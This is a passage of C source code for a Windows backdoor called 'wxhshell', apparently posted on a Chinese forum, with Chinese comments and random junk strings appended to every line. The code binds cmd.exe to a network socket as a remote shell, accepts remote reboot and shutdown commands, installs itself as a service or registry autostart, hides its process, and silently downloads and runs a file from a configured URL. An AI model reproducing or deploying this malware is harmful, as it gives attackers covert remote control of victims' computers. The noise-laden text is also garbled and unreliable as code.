  } p^C$(}Yh  
  else { V#+M lN  
J ql$ g  
    switch(cmd[0]) { by$S#e f  
  `j4OKZ  
  // 帮助 Tdxc%'l  
  case '?': { N97WI+`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S]ed96V v  
    break; nTE\EZ+=2  
  } XzW\p8D^u  
  // 安装 lQL /I[}  
  case 'i': { H on,-<  
    if(Install()) )&[ol9+\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]5ux!Lqln  
    else Xc9NM1bp=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -+0!Fkt@,  
    break; C;YtMY:  
    }  Cy5M0{  
  // 卸载 `^ )oVs  
  case 'r': { be]Zx`)k  
    if(Uninstall()) @=?#nB&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RijFN.s  
    else #<5i/5&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); POQ4&ChA  
    break; +;a\ gF^  
    } @Ll^ze&HI  
  // 显示 wxhshell 所在路径 s,j=Kym%  
  case 'p': { ;m"R.Q9*  
    char svExeFile[MAX_PATH]; ahR-^^'$  
    strcpy(svExeFile,"\n\r"); 1`9'.w+r  
      strcat(svExeFile,ExeFile); C}71SlN'M  
        send(wsh,svExeFile,strlen(svExeFile),0); -yMD9b  
    break; nc?Oj B  
    } yG<Q t+D  
  // 重启 lrmz'M'  
  case 'b': { eK/rs r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AQs_(LR  
    if(Boot(REBOOT)) Ku8qn \2"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %.s"l6 W  
    else { 8ZNwo  
    closesocket(wsh);  s-S|#5  
    ExitThread(0); 5r^u7k  
    } Cdc=1,U(  
    break; uXdR-@80*  
    } 1ifPc5j}  
  // 关机 lmx'w  
  case 'd': { 3 Ol`i$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > M4QEv  
    if(Boot(SHUTDOWN)) AE4>pzBe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zv8G[(  
    else { cC$E"m  
    closesocket(wsh); << aAYkx <  
    ExitThread(0); lsOZ%p%fV  
    } b$}@0  
    break; Tl*FK?)MC^  
    } ^%x7:  
  // 获取shell 0{>P^z  
  case 's': { ys9MV%*  
    CmdShell(wsh); T0BM:ofx  
    closesocket(wsh); /pz(s+4=  
    ExitThread(0); _UUp+Hz  
    break; Cc` )P>L  
  } xcN >L  
  // 退出 ^qPS&G  
  case 'x': { ea!Znld]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zqb3<WP"  
    CloseIt(wsh); -;t]e6[  
    break; lR3JyYY{X  
    } oBzjEv  
  // 离开 R^GLATM  
  case 'q': { CfjVx   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |79n 1;+\?  
    closesocket(wsh); 1 =9 Kwd  
    WSACleanup(); a\v@^4   
    exit(1); EXT_x q  
    break; )-d &XN7  
        } N2`u ]*"0  
  } #zw 'H9l  
  } WAp#[mW.fx  
df!n.&\y!  
  // 提示信息 ] 73BJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3gY4h*|`<  
} F anA~  
  } O$ ;:5zT  
2~SjRIpUw  
  return; X&({`Uw<K  
} 0:3<33]x  
$,B@yiie  
// shell模块句柄 3}X;WE `  
int CmdShell(SOCKET sock) yX;v   
{ ue#Y h  
STARTUPINFO si; U)gr C8 C  
ZeroMemory(&si,sizeof(si)); j%OnLTZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U^{'"x+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :1\QM'O  
PROCESS_INFORMATION ProcessInfo; _J`q\N K  
char cmdline[]="cmd"; q=h~zjQ?R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9% AL f 9  
  return 0; \%N | X  
} 3re|=_ Hy  
_rf  
// 自身启动模式 5x; y{qT  
int StartFromService(void) (3+:/,{'$  
{ 1?bX$$y l;  
typedef struct #35@YMF  
{ o]|a5. O  
  DWORD ExitStatus; O8% Y .SK  
  DWORD PebBaseAddress; @q]{s+#Xf  
  DWORD AffinityMask; !{L`Zd;C>w  
  DWORD BasePriority; e(m#elX  
  ULONG UniqueProcessId; RAW(lZ(  
  ULONG InheritedFromUniqueProcessId; pn6!QpV5  
}   PROCESS_BASIC_INFORMATION; G6L /Ny3>_  
ONw;NaE,  
PROCNTQSIP NtQueryInformationProcess; h_Cac@F0  
^UAL5}CQt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -O-qEQd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < l%3P6|  
aD:vNX  
  HANDLE             hProcess; aj<=]=hr  
  PROCESS_BASIC_INFORMATION pbi; ^#VyIF3q  
 uM9[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T7{Z0-  
  if(NULL == hInst ) return 0; <H)I06];  
@fWmz,Ngl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DdL0MGwX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2So7fZa^wg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5B'};AQ  
&S"o jbb  
  if (!NtQueryInformationProcess) return 0; 3+2&@:$t  
oG)JH)!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6n.W5 1g(s  
  if(!hProcess) return 0; {D jz']  
o(I[_oUy\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .iB?:  
nsJN)Pt  
  CloseHandle(hProcess); ;hOrLy&O  
`"<} B"s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D$RQD{*  
if(hProcess==NULL) return 0; G,8LF/sR  
D+.h *{gD  
HMODULE hMod; U>z8gdzu  
char procName[255]; bS+by'Ea1W  
unsigned long cbNeeded; 8h#/b1\  
U'st\Dt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6uYCU|JsU  
Zq--m/  
  CloseHandle(hProcess); _tg&_P+kV  
?[\(i)]  
if(strstr(procName,"services")) return 1; // 以服务启动 =yf LqU  
mk;l;!*T8  
  return 0; // 注册表启动 1X4v:rI  
} ,?+rM ;  
s e9X  
// 主模块 rlvo&(a  
int StartWxhshell(LPSTR lpCmdLine) c8sY#I  
{ 8}0W_CU,  
  SOCKET wsl; N.|Zh+!  
BOOL val=TRUE; BC0T[o(f8  
  int port=0; `um#}ify#  
  struct sockaddr_in door; PX3rHKK {  
f!~gfnn  
  if(wscfg.ws_autoins) Install(); X$zlR) Re  
 ? {Lp  
port=atoi(lpCmdLine); oY:6a  
\k1psqw^O  
if(port<=0) port=wscfg.ws_port; .,pGW8Js  
 t]Xdzy  
  WSADATA data; bmEo5f~C!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l K%pxqx  
;$G.?r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t)LD-%F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +k'5W1e  
  door.sin_family = AF_INET; #5kQn>R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]k%Yz@*S  
  door.sin_port = htons(port); }!\ZJoa  
#;Y JR9VN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /lSz8h2  
closesocket(wsl); ~ jb6  
return 1; q"5iza__H  
} :luVsQ  
/'IOi`d  
  if(listen(wsl,2) == INVALID_SOCKET) { Us'm9 J  
closesocket(wsl); 8H3|i7.1h  
return 1; ?k~(E`ZE3  
} c~(+#a  
  Wxhshell(wsl); \iAkF`OC  
  WSACleanup(); @<e+E"6  
V+X>t7.Q  
return 0; .N8AkQ(Ok  
^c}Z$V  
} ~#dNGWwG  
W6D|Rr.q  
// 以NT服务方式启动 _*1/4^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uu{I4ls6B  
{ 'D8WNZ8Q  
DWORD   status = 0; Y25S:XHk9  
  DWORD   specificError = 0xfffffff; [K;J#0V+&L  
8*3<Erv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3qPj+@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AoL4#.r3H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1FUadSB5)  
  serviceStatus.dwWin32ExitCode     = 0; Mf%0Cx `  
  serviceStatus.dwServiceSpecificExitCode = 0; C)`k{(-{  
  serviceStatus.dwCheckPoint       = 0; c4oQ4  
  serviceStatus.dwWaitHint       = 0; gmy$_4+6o  
*,~d!Fc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v' 7,(.E  
  if (hServiceStatusHandle==0) return; "o/:LCE  
m(E-?VMHo  
status = GetLastError(); 3(G}IWPq<  
  if (status!=NO_ERROR) $*^Ms>Pa_  
{ YYHtd,0\+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7.$0LN/a!Z  
    serviceStatus.dwCheckPoint       = 0; );V6YE  
    serviceStatus.dwWaitHint       = 0; zME75;{  
    serviceStatus.dwWin32ExitCode     = status; nVV>;e[  
    serviceStatus.dwServiceSpecificExitCode = specificError; V*rAZ0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kD S  
    return; hm>JBc:n-  
  } Z9mY*}:U~  
<Yu}7klJE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `me2Q  
  serviceStatus.dwCheckPoint       = 0; F6R+E;"4R'  
  serviceStatus.dwWaitHint       = 0; Vm6G5QwM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0&2(1  
} I.TdYSB  
oCdWf63D  
// 处理NT服务事件,比如:启动、停止 ~YKe:K+&z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BpZE  
{ IlJ6&9  
switch(fdwControl) U7O~ch[,  
{ rvuskXdo  
case SERVICE_CONTROL_STOP: SuU,SE'TX  
  serviceStatus.dwWin32ExitCode = 0; vO!p8r F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZIQy}b'  
  serviceStatus.dwCheckPoint   = 0; L5! aLv#  
  serviceStatus.dwWaitHint     = 0; ;@GlJ '$;  
  { v{ Md4 p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{nf0)56c  
  } AJt *48H*G  
  return; "2q}G16K  
case SERVICE_CONTROL_PAUSE: "hi?/B#d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \\XvVi:B  
  break; Yo3my>N&g  
case SERVICE_CONTROL_CONTINUE: 2{Nv&ZX?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z^+f3-Z  
  break; $L_-U~^  
case SERVICE_CONTROL_INTERROGATE: _0ki19rs  
  break; &2[OH}4  
}; #4iSQ$0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hRTw8-wy:  
} }Tf~)x  
\,)('tUE  
// 标准应用程序主函数 {J;[ Hf5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) + X(@o  
{ :["iBrFp  
Aon 3G  
// 获取操作系统版本 p;cNmMm  
OsIsNt=GetOsVer(); lYldq)qB{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fTd=}zY  
NovF?kh2  
  // 从命令行安装 ,Bax0p  
  if(strpbrk(lpCmdLine,"iI")) Install(); =aZgq99  
Uo?g@D  
  // 下载执行文件 _K["qm{X_  
if(wscfg.ws_downexe) { VWf&F`^B(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <y[LdB/a  
  WinExec(wscfg.ws_filenam,SW_HIDE); w%F~4|F  
} S?ELFq(g  
TtTp ,If  
if(!OsIsNt) { .Qk T-12  
// 如果时win9x,隐藏进程并且设置为注册表启动 ci*rem  
HideProc(); I^S gWC  
StartWxhshell(lpCmdLine); tb36c<U-  
} @=JOAo  
else j=b?WNK  
  if(StartFromService()) ScOiOz:Ha  
  // 以服务方式启动 -P#PyZEH&I  
  StartServiceCtrlDispatcher(DispatchTable); z6 T3vw  
else vpnQs#8O  
  // 普通方式启动 |j:"n3~6  
  StartWxhshell(lpCmdLine); =hD@hQ i  
Z./$}tVUG  
return 0; QS(aA*D  
}
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只看该作者 1 发表于: 2006-10-10
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